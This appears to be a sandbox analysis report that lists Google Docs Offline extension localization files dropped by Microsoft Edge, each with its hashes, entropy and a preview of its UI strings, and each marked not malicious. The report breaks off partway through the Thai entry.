Preview:	{.. "createnew": {.. "message": ".... ....... .........".. },.. "explanationofflinedisabled": {.. "message": "..... ...... .......... .... ........ .... .... Google ........ ...... .... ..... ..... ... .......... ....... .... Google ........ .......... ..... .......... .. ...... ..... .... ..... ......... .. ..........".. },.. "explanationofflineenabled": {.. "message": "..... ...... ........., .. ..... ... ... ...... ....... ....... .. .... ....... ....

C:\Users\user\AppData\Local\Temp\scoped_dir1196_75236368\CRX_INSTALL\_locales\nl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.513485418448461
Encrypted:	false
SSDEEP:	12:1HASvgFARCBxNBv52/fXjOXl6W6ICBxeBvMzU1CSUJAO6SFAIVIbCBhZHdb1tvz+:1HABJx4X6QDwEzlm2uGvYzKU
MD5:	32DF72F14BE59A9BC9777113A8B21DE6
SHA1:	2A8D9B9A998453144307DD0B700A76E783062AD0
SHA-256:	F3FE1FFCB182183B76E1B46C4463168C746A38E461FD25CA91FF2A40846F1D61
SHA-512:	E0966F5CCA5A8A6D91C58D716E662E892D1C3441DAA5D632E5E843839BB989F620D8AC33ED3EDBAFE18D7306B40CD0C4639E5A4E04DA2C598331DACEC2112AAD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NIEUW MAKEN".. },.. "explanationofflinedisabled": {.. "message": "Je bent offline. Wil je Google Documenten zonder internetverbinding gebruiken, ga dan de volgende keer dat je verbinding met internet hebt naar 'Instellingen' op de homepage van Google Documenten en zet 'Offline synchronisatie' aan.".. },.. "explanationofflineenabled": {.. "message": "Je bent offline, maar je kunt nog wel beschikbare bestanden bewerken of nieuwe bestanden maken.".. },.. "extdesc": {.. "message": "Bewerk, maak en bekijk je documenten, spreadsheets en presentaties. Allemaal zonder internettoegang.".. },.. "extname": {.. "message": "Offline Documenten".. },.. "learnmore": {.. "message": "Meer informatie".. },.. "popuphelptext": {.. "message": "Overal schrijven, bewerken en samenwerken, met of zonder internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1196_75236368\CRX_INSTALL\_locales\nn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1196_75236368\CRX_INSTALL\_locales\no\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	878
Entropy (8bit):	4.4541485835627475
Encrypted:	false
SSDEEP:	24:1HAqwwrJ6wky68uk+NILxRGJwBvDyrj9V:nwwQwky6W+NwswVyT
MD5:	A1744B0F53CCF889955B95108367F9C8
SHA1:	6A5A6771DFF13DCB4FD425ED839BA100B7123DE0
SHA-256:	21CEFF02B45A4BFD60D144879DFA9F427949A027DD49A3EB0E9E345BD0B7C9A8
SHA-512:	F55E43F14514EECB89F6727A0D3C234149609020A516B193542B5964D2536D192F40CC12D377E70C683C269A1BDCDE1C6A0E634AA84A164775CFFE776536A961
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPPRETT NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du er uten nett. For . bruke Google Dokumenter uten internettilkobling, g. til innstillingene p. Google Dokumenter-nettsiden og sl. p. synkronisering uten nett neste gang du er koblet til Internett.".. },.. "explanationofflineenabled": {.. "message": "Du er uten nett, men du kan likevel endre tilgjengelige filer eller opprette nye.".. },.. "extdesc": {.. "message": "Rediger, opprett og se dokumentene, regnearkene og presentasjonene dine . uten nettilgang.".. },.. "extname": {.. "message": "Google Dokumenter uten nett".. },.. "learnmore": {.. "message": "Finn ut mer".. },.. "popuphelptext": {.. "message": "Skriv, rediger eller samarbeid uansett hvor du er, med eller uten internettilkobling.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1196_75236368\CRX_INSTALL\_locales\pa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2766
Entropy (8bit):	3.839730779948262
Encrypted:	false
SSDEEP:	48:YEH6/o0iZbNCbDMUcipdkNtQjsGKIhO9aBjj/nxt9o5nDAj3:p6wbZbEbvJ8jQkIhO9aBjb/90Ab
MD5:	97F769F51B83D35C260D1F8CFD7990AF
SHA1:	0D59A76564B0AEE31D0A074305905472F740CECA
SHA-256:	BBD37D41B7DE6F93948FA2437A7699D4C30A3C39E736179702F212CB36A3133C
SHA-512:	D91F5E2D22FC2D7F73C1F1C4AF79DB98FCFD1C7804069AE9B2348CBC729A6D2DFF7FB6F44D152B0BDABA6E0D05DFF54987E8472C081C4D39315CEC2CBC593816
Malicious:	false
Preview:	{"createnew":{"message":"\u0a28\u0a35\u0a3e\u0a02 \u0a2c\u0a23\u0a3e\u0a13"},"explanationofflinedisabled":{"message":"\u0a24\u0a41\u0a38\u0a40\u0a02 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a39\u0a4b\u0964 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a15\u0a28\u0a48\u0a15\u0a36\u0a28 \u0a26\u0a47 \u0a2c\u0a3f\u0a28\u0a3e\u0a02 Google Docs \u0a28\u0a42\u0a70 \u0a35\u0a30\u0a24\u0a23 \u0a32\u0a08, \u0a05\u0a17\u0a32\u0a40 \u0a35\u0a3e\u0a30 \u0a1c\u0a26\u0a4b\u0a02 \u0a24\u0a41\u0a38\u0a40\u0a02 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a26\u0a47 \u0a28\u0a3e\u0a32 \u0a15\u0a28\u0a48\u0a15\u0a1f \u0a39\u0a4b\u0a35\u0a4b \u0a24\u0a3e\u0a02 Google Docs \u0a2e\u0a41\u0a71\u0a16 \u0a2a\u0a70\u0a28\u0a47 '\u0a24\u0a47 \u0a38\u0a48\u0a1f\u0a3f\u0a70\u0a17\u0a3e\u0a02 \u0a35\u0a3f\u0a71\u0a1a \u0a1c\u0a3e\u0a13 \u0a05\u0a24\u0a47 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a38\u0a3f\u0a70\u0a15 \u0a28\u0a42\u0a70 \u0a1a\u0a3e\u0a32\u0a42 \u0a15\u0a30\u0a4b\u0964"},"expla

C:\Users\user\AppData\Local\Temp\scoped_dir1196_75236368\CRX_INSTALL\_locales\pl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	978
Entropy (8bit):	4.879137540019932
Encrypted:	false
SSDEEP:	24:1HApiJiRelvm3wi8QAYcbm24sK+tFJaSDD:FJMx3whxYcbNp
MD5:	B8D55E4E3B9619784AECA61BA15C9C0F
SHA1:	B4A9C9885FBEB78635957296FDDD12579FEFA033
SHA-256:	E00FF20437599A5C184CA0C79546CB6500171A95E5F24B9B5535E89A89D3EC3D
SHA-512:	266589116EEE223056391C65808255EDAE10EB6DC5C26655D96F8178A41E283B06360AB8E08AC3857D172023C4F616EF073D0BEA770A3B3DD3EE74F5FFB2296B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "UTW.RZ NOWY".. },.. "explanationofflinedisabled": {.. "message": "Jeste. offline. Aby korzysta. z Dokument.w Google bez po..czenia internetowego, otw.rz ustawienia na stronie g..wnej Dokument.w Google i w..cz synchronizacj. offline nast.pnym razem, gdy b.dziesz mie. dost.p do internetu.".. },.. "explanationofflineenabled": {.. "message": "Jeste. offline, ale nadal mo.esz edytowa. dost.pne pliki i tworzy. nowe.".. },.. "extdesc": {.. "message": "Edytuj, tw.rz i wy.wietlaj swoje dokumenty, arkusze kalkulacyjne oraz prezentacje bez konieczno.ci ..czenia si. z internetem.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Wi.cej informacji".. },.. "popuphelptext": {.. "message": "Pisz, edytuj i wsp..pracuj, gdziekolwiek jeste. . niezale.nie od tego, czy masz po..czenie z internetem.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1196_75236368\CRX_INSTALL\_locales\pt_BR\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	907
Entropy (8bit):	4.599411354657937
Encrypted:	false
SSDEEP:	12:1HASvgU30CBxNd6GwXOK1styCJ02OK9+4KbCBxed6X4LBAt4rXgUCSUuYDHIIQka:1HAcXlyCJ5+Tsz4LY4rXSw/Q+ftkC
MD5:	608551F7026E6BA8C0CF85D9AC11F8E3
SHA1:	87B017B2D4DA17E322AF6384F82B57B807628617
SHA-256:	A73EEA087164620FA2260D3910D3FBE302ED85F454EDB1493A4F287D42FC882F
SHA-512:	82F52F8591DB3C0469CC16D7CBFDBF9116F6D5B5D2AD02A3D8FA39CE1378C64C0EA80AB8509519027F71A89EB8BBF38A8702D9AD26C8E6E0F499BF7DA18BF747
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Voc. est. off-line. Para usar o Documentos Google sem conex.o com a Internet, na pr.xima vez que se conectar, acesse as configura..es na p.gina inicial do Documentos Google e ative a sincroniza..o off-line.".. },.. "explanationofflineenabled": {.. "message": "Voc. est. off-line, mas mesmo assim pode editar os arquivos dispon.veis ou criar novos arquivos.".. },.. "extdesc": {.. "message": "Edite, crie e veja seus documentos, planilhas e apresenta..es sem precisar de acesso . Internet.".. },.. "extname": {.. "message": "Documentos Google off-line".. },.. "learnmore": {.. "message": "Saiba mais".. },.. "popuphelptext": {.. "message": "Escreva, edite e colabore onde voc. estiver, com ou sem conex.o com a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1196_75236368\CRX_INSTALL\_locales\pt_PT\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.604761241355716
Encrypted:	false
SSDEEP:	24:1HAcXzw8M+N0STDIjxX+qxCjKw5BKriEQFMJXkETs:zXzw0pKXbxqKw5BKri3aNY
MD5:	0963F2F3641A62A78B02825F6FA3941C
SHA1:	7E6972BEAB3D18E49857079A24FB9336BC4D2D48
SHA-256:	E93B8E7FB86D2F7DFAE57416BB1FB6EE0EEA25629B972A5922940F0023C85F90
SHA-512:	22DD42D967124DA5A2209DD05FB6AD3F5D0D2687EA956A22BA1E31C56EC09DEB53F0711CD5B24D672405358502E9D1C502659BB36CED66CAF83923B021CA0286
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est. offline. Para utilizar o Google Docs sem uma liga..o . Internet, aceda .s defini..es na p.gina inicial do Google Docs e ative a sincroniza..o offline da pr.xima vez que estiver ligado . Internet.".. },.. "explanationofflineenabled": {.. "message": "Est. offline, mas continua a poder editar os ficheiros dispon.veis ou criar novos ficheiros.".. },.. "extdesc": {.. "message": "Edite, crie e veja os documentos, as folhas de c.lculo e as apresenta..es, tudo sem precisar de aceder . Internet.".. },.. "extname": {.. "message": "Google Docs offline".. },.. "learnmore": {.. "message": "Saber mais".. },.. "popuphelptext": {.. "message": "Escreva edite e colabore onde quer que esteja, com ou sem uma liga..o . Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1196_75236368\CRX_INSTALL\_locales\ro\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	937
Entropy (8bit):	4.686555713975264
Encrypted:	false
SSDEEP:	24:1HA8dC6e6w+uFPHf2TFMMlecFpweWV4RE:pC6KvHf4plVweCx
MD5:	BED8332AB788098D276B448EC2B33351
SHA1:	6084124A2B32F386967DA980CBE79DD86742859E
SHA-256:	085787999D78FADFF9600C9DC5E3FF4FB4EB9BE06D6BB19DF2EEF8C284BE7B20
SHA-512:	22596584D10707CC1C8179ED3ABE46EF2C314CF9C3D0685921475944B8855AAB660590F8FA1CFDCE7976B4BB3BD9ABBBF053F61F1249A325FD0094E1C95692ED
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREEAZ. UN DOCUMENT".. },.. "explanationofflinedisabled": {.. "message": "E.ti offline. Pentru a utiliza Documente Google f.r. conexiune la internet, intr. .n set.rile din pagina principal. Documente Google .i activeaz. sincronizarea offline data viitoare c.nd e.ti conectat(.) la internet.".. },.. "explanationofflineenabled": {.. "message": "E.ti offline, dar po.i .nc. s. editezi fi.ierele disponibile sau s. creezi altele.".. },.. "extdesc": {.. "message": "Editeaz., creeaz. .i acceseaz. documente, foi de calcul .i prezent.ri - totul f.r. acces la internet.".. },.. "extname": {.. "message": "Documente Google Offline".. },.. "learnmore": {.. "message": "Afl. mai multe".. },.. "popuphelptext": {.. "message": "Scrie, editeaz. .i colaboreaz. oriunde ai fi, cu sau f.r. conexiune la internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1196_75236368\CRX_INSTALL\_locales\ru\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1337
Entropy (8bit):	4.69531415794894
Encrypted:	false
SSDEEP:	24:1HABEapHTEmxUomjsfDVs8THjqBK8/hHUg41v+Lph5eFTHQ:I/VdxUomjsre8Kh4Riph5eFU
MD5:	51D34FE303D0C90EE409A2397FCA437D
SHA1:	B4B9A7B19C62D0AA95D1F10640A5FBA628CCCA12
SHA-256:	BE733625ACD03158103D62BC0EEF272CA3F265AC30C87A6A03467481A177DAE3
SHA-512:	E8670DED44DC6EE30E5F41C8B2040CF8A463CD9A60FC31FA70EB1D4C9AC1A3558369792B5B86FA761A21F5266D5A35E5C2C39297F367DAA84159585C19EC492A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......".. },.. "explanationofflinedisabled": {.. "message": "..... ............ Google ......... ... ........., ............ . .... . ......... ............. . ......-...... . .......... .. ......... .........".. },.. "explanationofflineenabled": {.. "message": "... ........... . .......... .. ...... ......... ..... ..... . ............. .., . ....... ........ ......-.......".. },.. "extdesc": {.. "message": ".........., .............. . ............ ........., ....... . ........... ... ....... . ..........".. },.. "extname": {.. "message": "Google.......... ......".. },.. "learnmore": {.

C:\Users\user\AppData\Local\Temp\scoped_dir1196_75236368\CRX_INSTALL\_locales\si\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2846
Entropy (8bit):	3.7416822879702547
Encrypted:	false
SSDEEP:	48:YWi+htQTKEQb3aXQYJLSWy7sTQThQTnQtQTrEmQ6kiLsegQSJFwsQGaiPn779I+S:zhiTK5b3tUGVjTGTnQiTryOLpyaxYf/S
MD5:	B8A4FD612534A171A9A03C1984BB4BDD
SHA1:	F513F7300827FE352E8ECB5BD4BB1729F3A0E22A
SHA-256:	54241EBE651A8344235CC47AFD274C080ABAEBC8C3A25AFB95D8373B6A5670A2
SHA-512:	C03E35BFDE546AEB3245024EF721E7E606327581EFE9EAF8C5B11989D9033BDB58437041A5CB6D567BAA05466B6AAF054C47F976FD940EEEDF69FDF80D79095B
Malicious:	false
Preview:	{"createnew":{"message":"\u0db1\u0dc0 \u0dbd\u0dda\u0d9b\u0db1\u0dba\u0d9a\u0dca \u0dc3\u0dcf\u0daf\u0db1\u0dca\u0db1"},"explanationofflinedisabled":{"message":"\u0d94\u0db6 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2\u0dba. \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd \u0dc3\u0db8\u0dca\u0db6\u0db1\u0dca\u0db0\u0dad\u0dcf\u0dc0\u0d9a\u0dca \u0db1\u0ddc\u0db8\u0dd0\u0dad\u0dd2\u0dc0 Google Docs \u0db7\u0dcf\u0dc0\u0dd2\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8\u0da7, Google Docs \u0db8\u0dd4\u0dbd\u0dca \u0db4\u0dd2\u0da7\u0dd4\u0dc0 \u0db8\u0dad \u0dc3\u0dd0\u0d9a\u0dc3\u0dd3\u0db8\u0dca \u0dc0\u0dd9\u0dad \u0d9c\u0ddc\u0dc3\u0dca \u0d94\u0db6 \u0d8a\u0dc5\u0d9f \u0d85\u0dc0\u0dc3\u0dca\u0dae\u0dcf\u0dc0\u0dda \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd\u0dba\u0da7 \u0dc3\u0db6\u0dd0\u0db3\u0dd2 \u0dc0\u0dd2\u0da7 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2 \u0dc3\u0db8\u0db8\u0dd4\u0dc4\u0dd4\u0dbb\u0dca\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8 \u0d9a\u0dca\u200d\u0dbb\u0dd2\u0dba\u0dc

C:\Users\user\AppData\Local\Temp\scoped_dir1196_75236368\CRX_INSTALL\_locales\sk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	934
Entropy (8bit):	4.882122893545996
Encrypted:	false
SSDEEP:	24:1HAF8pMv1RS4LXL22IUjdh8uJwpPqLDEtxKLhSS:hyv1RS4LXx38u36QsS
MD5:	8E55817BF7A87052F11FE554A61C52D5
SHA1:	9ABDC0725FE27967F6F6BE0DF5D6C46E2957F455
SHA-256:	903060EC9E76040B46DEB47BBB041D0B28A6816CB9B892D7342FC7DC6782F87C
SHA-512:	EFF9EC7E72B272DDE5F29123653BC056A4BC2C3C662AE3C448F8CB6A4D1865A0679B7E74C1B3189F3E262109ED6BC8F8D2BDE14AEFC8E87E0F785AE4837D01C7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVORI. NOV.".. },.. "explanationofflinedisabled": {.. "message": "Ste offline. Ak chcete pou.i. Dokumenty Google bez pripojenia na internet, po najbli..om pripojen. na internet prejdite do nastaven. na domovskej str.nke Dokumentov Google a.zapnite offline synchroniz.ciu.".. },.. "explanationofflineenabled": {.. "message": "Ste offline, no st.le m..ete upravova. dostupn. s.bory a.vytv.ra. nov..".. },.. "extdesc": {.. "message": ".prava, tvorba a.zobrazenie dokumentov, tabuliek a.prezent.ci.. To v.etko bez pr.stupu na internet.".. },.. "extname": {.. "message": "Dokumenty Google v re.ime offline".. },.. "learnmore": {.. "message": ".al.ie inform.cie".. },.. "popuphelptext": {.. "message": "P..te, upravujte a.spolupracuje, kdeko.vek ste, a.to s.pripojen.m na internet aj bez neho.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1196_75236368\CRX_INSTALL\_locales\sl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	963
Entropy (8bit):	4.6041913416245
Encrypted:	false
SSDEEP:	12:1HASvgfECBxNFCEuKXowwJrpvPwNgEcPJJJEfWOCBxeFCJuGuU4KYXCSUXKDxX4A:1HAXMKYw8VYNLcaeDmKYLdX2zJBG5
MD5:	BFAEFEFF32813DF91C56B71B79EC2AF4
SHA1:	F8EDA2B632610972B581724D6B2F9782AC37377B
SHA-256:	AAB9CF9098294A46DC0F2FA468AFFF7CA7C323A1A0EFA70C9DB1E3A4DA05D1D4
SHA-512:	971F2BBF5E9C84DE3D31E5F2A4D1A00D891A2504F8AF6D3F75FC19056BFD059A270C4C9836AF35258ABA586A1888133FB22B484F260C1CBC2D1D17BC3B4451AA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "USTVARI NOVO".. },.. "explanationofflinedisabled": {.. "message": "Nimate vzpostavljene povezave. .e .elite uporabljati Google Dokumente brez internetne povezave, odprite nastavitve na doma.i strani Google Dokumentov in vklopite sinhronizacijo brez povezave, ko naslednji. vzpostavite internetno povezavo.".. },.. "explanationofflineenabled": {.. "message": "Nimate vzpostavljene povezave, vendar lahko .e vedno urejate razpolo.ljive datoteke ali ustvarjate nove.".. },.. "extdesc": {.. "message": "Urejajte, ustvarjajte in si ogledujte dokumente, preglednice in predstavitve . vse to brez internetnega dostopa.".. },.. "extname": {.. "message": "Google Dokumenti brez povezave".. },.. "learnmore": {.. "message": "Ve. o tem".. },.. "popuphelptext": {.. "message": "Pi.ite, urejajte in sodelujte, kjer koli ste, z internetno povezavo ali brez nje.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1196_75236368\CRX_INSTALL\_locales\sr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1320
Entropy (8bit):	4.569671329405572
Encrypted:	false
SSDEEP:	24:1HArg/fjQg2JwrfZtUWTrw1P4epMnRGi5TBmuPDRxZQ/XtiCw/Rwh/Q9EVz:ogUg2JwDZe6rwKI8VTP9xK1CwhI94
MD5:	7F5F8933D2D078618496C67526A2B066
SHA1:	B7050E3EFA4D39548577CF47CB119FA0E246B7A4
SHA-256:	4E8B69E864F57CDDD4DC4E4FAF2C28D496874D06016BC22E8D39E0CB69552769
SHA-512:	0FBAB56629368EEF87DEEF2977CA51831BEB7DEAE98E02504E564218425C751853C4FDEAA40F51ECFE75C633128B56AE105A6EB308FD5B4A2E983013197F5DBA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ....".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. ..... ......... Google ......... ... ........ ...., ..... . .......... .. ........ ........ Google .......... . ........ ...... .............. ... ....... ... ...... ........ .. ...........".. },.. "explanationofflineenabled": {.. "message": "...... ..., ... . .... ...... .. ....... ...... . ........ ........ ... .. ....... .....".. },.. "extdesc": {.. "message": "....... . ........... ........., ...... . ............ . ....... ...... . ... . ... .. ... ........ .........".. },.. "extname": {.. "message

C:\Users\user\AppData\Local\Temp\scoped_dir1196_75236368\CRX_INSTALL\_locales\sv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	884
Entropy (8bit):	4.627108704340797
Encrypted:	false
SSDEEP:	24:1HA0NOYT/6McbnX/yzklyOIPRQrJlvDymvBd:vNOcyHnX/yg0P4Bymn
MD5:	90D8FB448CE9C0B9BA3D07FB8DE6D7EE
SHA1:	D8688CAC0245FD7B886D0DEB51394F5DF8AE7E84
SHA-256:	64B1E422B346AB77C5D1C77142685B3FF7661D498767D104B0C24CB36D0EB859
SHA-512:	6D58F49EE3EF0D3186EA036B868B2203FE936CE30DC8E246C32E90B58D9B18C624825419346B62AF8F7D61767DBE9721957280AA3C524D3A5DFB1A3A76C00742
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKAPA NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du .r offline. Om du vill anv.nda Google Dokument utan internetuppkoppling, .ppna inst.llningarna p. Google Dokuments startsida och aktivera offlinesynkronisering n.sta g.ng du .r ansluten till internet.".. },.. "explanationofflineenabled": {.. "message": "Du .r offline, men det g.r fortfarande att redigera tillg.ngliga filer eller skapa nya.".. },.. "extdesc": {.. "message": "Redigera, skapa och visa dina dokument, kalkylark och presentationer . helt utan internet.tkomst.".. },.. "extname": {.. "message": "Google Dokument Offline".. },.. "learnmore": {.. "message": "L.s mer".. },.. "popuphelptext": {.. "message": "Skriv, redigera och samarbeta .verallt, med eller utan internetanslutning.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1196_75236368\CRX_INSTALL\_locales\sw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	980
Entropy (8bit):	4.50673686618174
Encrypted:	false
SSDEEP:	12:1HASvgNHCBxNx1HMHyMhybK7QGU78oCuafIvfCBxex6EYPE5E1pOCSUJqONtCBh8:1HAGDQ3y0Q/Kjp/zhDoKMkeAT6dBaX
MD5:	D0579209686889E079D87C23817EDDD5
SHA1:	C4F99E66A5891973315D7F2BC9C1DAA524CB30DC
SHA-256:	0D20680B74AF10EF8C754FCDE259124A438DCE3848305B0CAF994D98E787D263
SHA-512:	D59911F91ED6C8FF78FD158389B4D326DAF4C031B940C399569FE210F6985E23897E7F404B7014FC7B0ACEC086C01CC5F76354F7E5D3A1E0DEDEF788C23C2978
Malicious:	false
Preview:	{.. "createnew": {.. "message": "FUNGUA MPYA".. },.. "explanationofflinedisabled": {.. "message": "Haupo mtandaoni. Ili uweze kutumia Hati za Google bila muunganisho wa intaneti, wakati utakuwa umeunganishwa kwenye intaneti, nenda kwenye sehemu ya mipangilio kwenye ukurasa wa kwanza wa Hati za Google kisha uwashe kipengele cha usawazishaji nje ya mtandao.".. },.. "explanationofflineenabled": {.. "message": "Haupo mtandaoni, lakini bado unaweza kubadilisha faili zilizopo au uunde mpya.".. },.. "extdesc": {.. "message": "Badilisha, unda na uangalie hati, malahajedwali na mawasilisho yako . yote bila kutumia muunganisho wa intaneti.".. },.. "extname": {.. "message": "Hati za Google Nje ya Mtandao".. },.. "learnmore": {.. "message": "Pata Maelezo Zaidi".. },.. "popuphelptext": {.. "message": "Andika hati, zibadilishe na ushirikiane na wengine popote ulipo, iwe una muunganisho wa intaneti au huna.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1196_75236368\CRX_INSTALL\_locales\ta\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1941
Entropy (8bit):	4.132139619026436
Encrypted:	false
SSDEEP:	24:1HAoTZwEj3YfVLiANpx96zjlXTwB4uNJDZwq3CP1B2xIZiIH1CYFIZ03SoFyxrph:JCEjWiAD0ZXkyYFyPND1L/I
MD5:	DCC0D1725AEAEAAF1690EF8053529601
SHA1:	BB9D31859469760AC93E84B70B57909DCC02EA65
SHA-256:	6282BF9DF12AD453858B0B531C8999D5FD6251EB855234546A1B30858462231A
SHA-512:	6243982D764026D342B3C47C706D822BB2B0CAFFA51F0591D8C878F981EEF2A7FC68B76D012630B1C1EB394AF90EB782E2B49329EB6538DD5608A7F0791FDCF5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....... .........".. },.. "explanationofflinedisabled": {.. "message": ".......... ........... .... ....... ..... Google ......... .........., ...... .... ........... ......... ...., Google ... ................... ................ ......, ........ ......... ..........".. },.. "explanationofflineenabled": {.. "message": ".......... ..........., .......... .......... .......... ......... ........... ...... .....

C:\Users\user\AppData\Local\Temp\scoped_dir1196_75236368\CRX_INSTALL\_locales\te\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1969
Entropy (8bit):	4.327258153043599
Encrypted:	false
SSDEEP:	48:R7jQrEONienBcFNBNieCyOBw0/kCcj+sEf24l+Q+u1LU4ljCj55ONipR41ssrNix:RjQJN1nBcFNBNlCyGcj+RXl+Q+u1LU4s
MD5:	385E65EF723F1C4018EEE6E4E56BC03F
SHA1:	0CEA195638A403FD99BAEF88A360BD746C21DF42
SHA-256:	026C164BAE27DBB36A564888A796AA3F188AAD9E0C37176D48910395CF772CEA
SHA-512:	E55167CB5638E04DF3543D57C8027B86B9483BFCAFA8E7C148EDED66454AEBF554B4C1CF3C33E93EC63D73E43800D6A6E7B9B1A1B0798B6BDB2F699D3989B052
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ...... ........ ......".. },.. "explanationofflinedisabled": {.. "message": ".... ........... ........ ......... ........ ....... Google Docs... .............., .... ............ ....... ..... ...... .... Google Docs .... ...... ............. ......, ........ ........ ... .......".. },.. "explanationofflineenabled": {.. "message": ".... ........... ......., .... .... ........ .......... .... ....... ..... ....... .... ..

C:\Users\user\AppData\Local\Temp\scoped_dir1196_75236368\CRX_INSTALL\_locales\th\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1674
Entropy (8bit):	4.343724179386811
Encrypted:	false
SSDEEP:	48:fcGjnU3UnGKD1GeU3pktOggV1tL2ggG7Q:f3jnDG1eUk0g6RLE
MD5:	64077E3D186E585A8BEA86FF415AA19D
SHA1:	73A861AC810DABB4CE63AD052E6E1834F8CA0E65
